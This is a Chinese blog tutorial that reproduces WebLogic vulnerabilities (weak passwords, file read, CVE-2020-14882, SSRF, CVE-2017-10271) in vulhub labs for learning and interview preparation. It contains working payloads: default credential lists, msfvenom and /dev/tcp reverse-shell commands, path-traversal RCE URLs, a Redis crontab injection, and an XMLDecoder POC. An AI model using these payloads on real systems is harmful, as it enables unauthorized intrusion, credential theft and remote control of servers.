当前位置:   article > 正文

Weblogic常见漏洞详解_weblogic漏洞

weblogic漏洞

目录

Weblogic简介

Weblogic弱口令/文件读取漏洞

漏洞原理

环境搭建

复现过程

Weblogic未授权远程命令执行漏洞

漏洞原理

影响版本

环境搭建

复现过程

方法一

方法二

修复方法

Weblogic SSRF漏洞

漏洞原理

影响版本

环境搭建

复现过程

Weblogic XMLDecoder反序列化漏洞

漏洞原理

影响版本

环境搭建

复现过程

工具利用

Weblogic-Scan

总结


Weblogic简介

Weblogic 是一个基于JavaEE架构的中间件,是用于开发、集成、部署和管理大型分布式为Web应用、网络应用和数据库应用的Java应用服务器。Weblogic由纯Java开发,被广泛应用于开发、部署和运行Java应用等适用于本地环境和云环境的企业应用。

所以,Weblogic在面试当中被提到频率还蛮高的。

这篇文章以vulhub靶场为辅。

Weblogic弱口令/文件读取漏洞

漏洞原理

这里有两个漏洞。

弱口令漏洞原理是因为在搭建好Weblogic后没有修改后台的默认密码或者密码设置太简单,导致存在弱口令登录,获取服务器管理员权限。

文件读取漏洞是因为对用户输入内容没有进行限制与过滤,导致可以读取任意文件。

环境搭建

先搭建好vulhub环境,没有搭建的可以先看这篇文章kali搭建vulhub

先进入对应目录

cd vulhub/weblogic/weak_password

启动靶场

docker-compose up -d

访问靶场

http://ip:7001/console

复现过程

这里存在弱口令登录:weblogic/Oracle@123

可以记一下Weblogic常见的弱口令账号密码

用户名:system、weblogic、admin、system、wlcsystem、Weblogic

密码:Weblogic、weblogic、weblogic123、password、security、system、admin、Password、wlcsystem、Oracle@123

也可以将以上常见用户名密码存储在文件里,然后使用BurpSuite的intruder模块进行爆破。

进行爆破,呃...此环境存在登录限制,错误密码5次就会自动锁定,所以爆破失败了...。这就是爆破账号密码的限制之一。重启一下docker和vulhub环境。用弱口令登录,成功登录后台。

然后点击Deployments(部署),点击install(安装),可以看到有一个文件上传入口

这里上传部署文件(即war文件),这里是Java环境,可以用msf工具生成一个木马

msfvenom -p java/meterpreter/reverse_tcp lhost=xxx.xxx.xx.xxx lport=4444 -f war -o java.war

然后上传我们的war文件,一直点下一步按钮直到完成

然后 开启监听

  1. msfconsole
  2. use exploit/multi/handler
  3. set payload java/meterpreter/reverse_tcp
  4. set LHOST 192.168.xx.xxx
  5. set LPORT 4444
  6. exploit

接着访问http://ip:7001/java这个url就可以触发木马

前面说过,这里还有一个漏洞,就是任意文件读取漏洞,访问如下url可任意读取文件

http://ip:7001/hello/file.jsp?path= #接文件路径

想知道为什么是这个路径的话,可以用工具扫描。

我们可以借助这个漏洞来读取密文和密钥,由于weblogic密码使用AES加密,它是对称密码,可解密。

weblogic

密文存储文件的绝对路径是/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

密钥存储文件的绝对路径是/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml

SerializedSystemIni.dat是一个二进制文件,使用BurpSuite来读取

选中数据分段的hex,右键保存到文件中,保存为1.dat

获取密钥文件,然后将其复制保存

{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

接下来去进行weblogic密文解密,weblogic解密工具下载链接

java -jar weblogic_decrypt.jar

得到破解结果是Oracle@123,也就是密码。

Weblogic未授权远程命令执行漏洞

漏洞原理

允许未授权的用户绕过管理控制台的权限验证访问后台,进入后台后,又允许任意用户通过HTTP协议执行任意命令。

影响版本

10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

环境搭建

先进入对应目录

cd weblogic/CVE-2020-14882  

启动环境

docker-compose up -d    

访问环境

 http://ip:7001/console 

复现过程

可以用目录扫描工具一步步扫然后访问看有什么页面是有漏洞的

这里直接给出了未授权访问管理员后台的页面

  1. http://ip:7001/console/css/%252e%252e%252fconsole.portal
  2. http://ip:7001/console/images/%252e%252e%252fconsole.portal

这里的%252e%252e%252f是经过两次url编码后的../,通过这个就可以实现穿越路径未授权访问后台页面

进入后台管理页面之后,点击部署,发现并没有安装按钮,这是因为通过未授权访问的后台权限过低。

方法一

通过com.tangosol.coherence.mvel2.sh.ShellSession 类实现,这个利用方法只能在Weblogic12.2.1以上版本使用,因为10.3.6版本没有这个类。

com.tangosol.coherence.mvel2.sh.ShellSession 类是 Oracle Coherence 中用于执行 MVEL 表达式的 Shell 会话类,提供了一个交互式的环境,用于在 Coherence 中进行动态表达式的执行

直接访问如下URL,即可执行命令

http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22)

进入容器查看,可以看到这个命令执行成功

方法二

通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 类实现,这个方法对Weblogic的所有版本都有效。该方法需要提前将恶意代码部署在任意网络目录下,当访问该木马文件时即可触发,返回界面任是404界面,但是可以正常反弹。

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 类是 WebLogic Server 中重新打包的 Spring Framework的 FileSystemXmlApplicationContext 类,用于在 WebLogic Server 中加载和管理基于 XML 配置文件的 Spring 应用程序上下文。

此方法需要借助XML文件,访问XML文件来执行命令。

构造一个反弹shell的XML文件,shell.xml

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <beans xmlns="http://www.springframework.org/schema/beans"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  5. <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
  6. <constructor-arg>
  7. <list>
  8. <value>bash</value>
  9. <value>-c</value>
  10. <value><![CDATA[bash -i >& /dev/tcp/IP/端口 0>&1]]></value>
  11. </list>
  12. </constructor-arg>
  13. </bean>
  14. </beans>

然后放在网页文件存储目录下(默认为/var/www/html)

然后开启端口监听和apache2服务,即可访问文件

执行如下URL

http://192.168.15.249:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.15.249/shell.xml(木马文件路径)")

结果如下,反弹成功

修复方法

  • 下载官方补丁进行升级修复
  • 关闭后台/console/console.portal的访问权限
  • 修改后台默认地址

Weblogic SSRF漏洞

漏洞原理

Weblogic的uddi组件实现包中有个ddiexplorer.war文件,其下的SearchPublicReqistries.jsp接口存在SSRF漏洞,可以利用该漏洞可以发送任意HTTP请求,实现攻击内网中Redis等脆弱组件。

影响版本

10.0.2、10.3.6

环境搭建

先进入对应目录

cd vulhub/weblogic/ssrf

启动环境

docker-compose up -d

访问环境

http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp

复现过程

f12页面,发现引用了外部链接,那么就有可能存在SSRF漏洞。

点击search,使用BurpSuite抓包

能看到有个operator参数可能存在SSRF漏洞,那修改operator参数用来探测开放IP端口看看

返回状态码,说明主机存活且端口开放;当访问一个不存在的主机或端口时,会返回could not connect over HTTP to server。

确认存在SSRF漏洞,那就利用Redis实现反弹shell(测试环境Redis服务存在未授权访问漏洞)

 先看一下docker容器里的Redis的IP地址:

  1. docker ps -a
  2. docker inspect 容器ID

可以通过SSRF漏洞向Redis写入命令(Redis需要以root权限写入),之前我写的Redis文章就有提及,不懂的可以去看看。crontab是一个可以自动执行定时命令的配置文件,通过它来自动执行反弹shell命令。(*****表示每分钟执行一次命令)

  1. set s "\n* * * * * root bash -i >& /dev/tcp/192.168.15.249/4444 0>&1\n"
  2. config set dir /etc/
  3. config set dbfilename crontab
  4. save

对上面命令进行URL编码:

%0D%0A%0D%0Aset%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.15.249%2F4444%200%3E%261%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0A

记得要加上每行的换行符(\r\n,编码后是%0D%0A),这里的开头和结尾也要分别填充上换行符号,不然会和其他代码混合而导致执行不了。

开启端口监听,然后访问payload,好吧,我最终没有成功...(我发现我的Redis主机就不存活,可能是IP错了?)

Weblogic XMLDecoder反序列化漏洞

漏洞原理

WLS-WSAT是Weblogic Server事务管理的一个组件,它使用Java的反序列化机制来处理数据,调用XMLDecoder类将用户传入的XML数据转换成Java对象

在某些情况下攻击者可以构造恶意的序列化数据作为POST请求的一部分发送到Weblogic Server的T3协议端口(默认为7001),并且在请求头中设置一个特殊的“Content-Type”值来触发漏洞。当Weblogic Server处理该请求时,XMLDecoder将恶意的序列化数据反序列为Java对象,并执行其中的恶意代码。

T3协议是Weblogic用于通信的独有的一个协议,Weblogic Server的RMI通信使用它在其他区的Java程序(包括服务端,客户端等)传输数据。

`ac ed 00 05`是反序列化标志,而在T3每个序列化数据包前面都有`fe 01 00 00`

影响版本

10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0

环境搭建

先进入对应目录

cd vulhub/weblogic/CVE-2017-10271

启动环境

docker-compose up -d

访问环境

http://ip:7001/wls-wsat/CoordinatorPortType

复现过程

对该页面进行抓包,修改请求方式为POST,添加请求字段Content-Type:text/xml,然后添加如下POC

  1. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
  2. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  3. <java version="1.4.0" class="java.beans.XMLDecoder">
  4. <void class="java.lang.ProcessBuilder">
  5. <array class="java.lang.String" length="3">
  6. <void index="0">
  7. <string>/bin/bash</string>
  8. </void>
  9. <void index="1">
  10. <string>-c</string>
  11. </void>
  12. <void index="2">
  13. <string>bash -i &gt;&amp; /dev/tcp/192.168.15.249/5555 0&gt;&amp;1</string>
  14. </void>
  15. </array>
  16. <void method="start"/></void>
  17. </java>
  18. </work:WorkContext>
  19. </soapenv:Header>
  20. <soapenv:Body/>
  21. </soapenv:Envelope>

其中的反弹命令是经过HTML实体编码的,防止XML解析时出现格式错误。

开启监听,成功获取到shell

工具利用

Weblogic-Scan

是一款专门用于扫描和检测Weblogic漏洞的开源工具。该工具可以扫描Weblogic服务器常见漏洞,发现漏洞后需要使用其他工具或其他方法利用漏洞。Weblogic-Scan下载链接

拉取git下载

  1. sudo git clone https://github.com/0xn0ne/weblogicScanner.git
  2. sudo proxychains git clone https://github.com/0xn0ne/weblogicScanner.git

常见指令

-t                                                        对目标地址或文件进行扫描(默认端口为7001)

-v                                                        对指定漏洞名称或CVE编号进行扫描

-o                                                        指定输出结果的路径

-s                                                        强制使用https协议请求

使用过程

如图,+号表示存在漏洞,-号表示不存在此漏洞。

总结

  • Weblogic中间件常见漏洞文章讲了任意文件读取和弱口令登录、未授权访问后台和HTTP请求远程代码执行、SSRF利用、XMLDecoder反序列化漏洞
  • 弱口令登录时因为Weblogic账号密码设置过于简单,任意文件读取是因为没有过滤和限制输入和访问,Weblogic的密码是通过AES对称加密的,所以可以读取密文文件config.xml和密钥文件SerializedSystemIni.dat
  • 远程代码执行可以使用两个类,第一个类ShellSession,直接构造函数参数然后url访问就可以进行命令执行;第二个类FileSystemXmlApplicationContext,需要借助存储有POC的XML文件,提前部署到被攻击者网站下任意目录,然后访问才能够达到触发效果
  • 存在SSRF漏洞的时候可以利用Redis等进行攻击
  • XMLDecoder反序列化漏洞是因为会调用XMLDecoder来进行讲XML数据反序列化为Java对象,所以可以构造包含恶意文件的XML文件然后上传触发。这里需要将GET方法改为POST方法,增加Content-Type:text/xml
  • Weblogic扫描Weblogic-Scan的使用

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/运维做开发/article/detail/922022
推荐阅读
相关标签
  

闽ICP备14008679号